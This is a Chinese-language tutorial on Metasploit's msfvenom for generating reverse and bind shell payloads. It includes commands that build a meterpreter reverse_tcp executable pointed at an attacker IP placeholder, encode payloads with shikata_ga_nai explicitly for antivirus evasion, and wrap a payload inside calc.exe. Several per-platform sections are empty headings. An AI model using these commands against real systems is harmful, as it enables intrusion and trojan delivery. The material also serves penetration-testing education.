Liunx下能够构造shell反弹脚本有很多常见的如bash,netcat、socat以及各种语言,当然今天主要内容是详细介绍msfvenom如何生成shell脚本。
正文
metasploit-framework介绍
Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。
Metasploit项目最为知名的子项目是开源的Metasploit框架,一套针对远程主机进行开发和执行“exploit代码”的工具。其他重要的子项目包括Opcode数据库、shellcode档案、安全研究等内容。
Metasploit项目知名的功能还包括反取证与规避工具,其中的某些工具已经内置在Metasploit Framework里面。–维基百科
如何安装metasploit-framework?
在kali-Linux中有自带metasploit-framework
当然假如你已经有了一个基于 Debian 的 Linux 环境 如ubuntu
你可以通过以下命令下载
当然假如你是windows系统那么可以通过
https://windows.metasploit.com/metasploitframework-latest.msi
下载并且安装
Mac下安装metasploit
mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。
msfconsole路径:
/opt/metasploit-framework/bin
msf的插件路径:
/opt/metasploit-framework/embedded/framework/modules/exploits
当然假如以上步骤都不可以那么建议可以在metasploit-framework官网上进行安装传送门
如何深入了解metasploit-framework?
通过阅读metasploit-framework官方手册你可以快速入门metasploit-framework
msfvenom 介绍
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具放在一个Framework实例中。可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
msfvenom的优点是:
一个工具
标准化命令行选项
提高速度
msfvenom 使用
如何生成一个有效的反弹shell脚本呢
我们可以看一个例子,输入下面msfvenom命令行及其输出的示例:
msfvenom -a x86 –platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f python
查看支持的输出文件类型:
msfvenom –help-formats
如果想要查看Framework的有效负载,可以执行
msfvenom -l payloads
msfvenom -l nops
基础payload
命令格式
通常,这可能是您使用msfvenom的方式:
./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker’s IP] lport=4444 -f exe -o /tmp/my_payload.exe
参数解释
-e
如何编码有效负载?
默认情况下,使用-b标志(badchar标志)时,编码功能将自动启动。在其他情况下,您必须使用-e标志,如下所示:
如下所示:
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
查看支持的编码方式:(为了达到免杀的效果)
msfvenom -l encoders
查看支持的空字段模块:(为了达到免杀的效果)
msfvenom -l nops
-f
-f标志:指定有效负载的格式
语法示例:./msfvenom -p windows/meterpreter/bind_tcp -f exe
LHOST/LPORT
LHOST – 该参数表示你想让你的监听器绑定的 IP 地址
LPORT – 该参数表示你想让你的监听器绑定的端口号
LHOST – 从字面上看,该参数表示你想让你的目标机器连接的地址。如果你在一个本地局域网,那么你的目标机器可能就不能直接连接到你的机器了,除非你们在同一个网络中。这种情况下,你需要 找到你的公网IP ,然后在你的网络中配置端口转发连接到你自己的用来攻击的电脑。LHOST 这个参数不可以被设置为 localhost, 0.0.0.0, 127.0.0.1,如果你这么设置了,那么你其实在让目标机器连接自己。
LPORT – 这个参数表示目标机器要连接的端口号
-b
如何避免部分字符过滤呢
-b标志用于避免有效负载中的某些字符。使用此选项时,msfvenom将自动找到合适的编码器来编码有效负载:
./msfvenom -p windows/meterpreter/bind_tcp -b ‘\x00’ -f raw
-p
-p:指定要生成的有效负载
Linux
反向连接:
正向连接:
Windows
Mac
PHP
ASP
JSP
WAR
Python
Bash
Perl
Linux Based Shellcode
Windows Based Shellcode
Mac Based Shellcode
自选模块
生成执行计算器payload例子:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe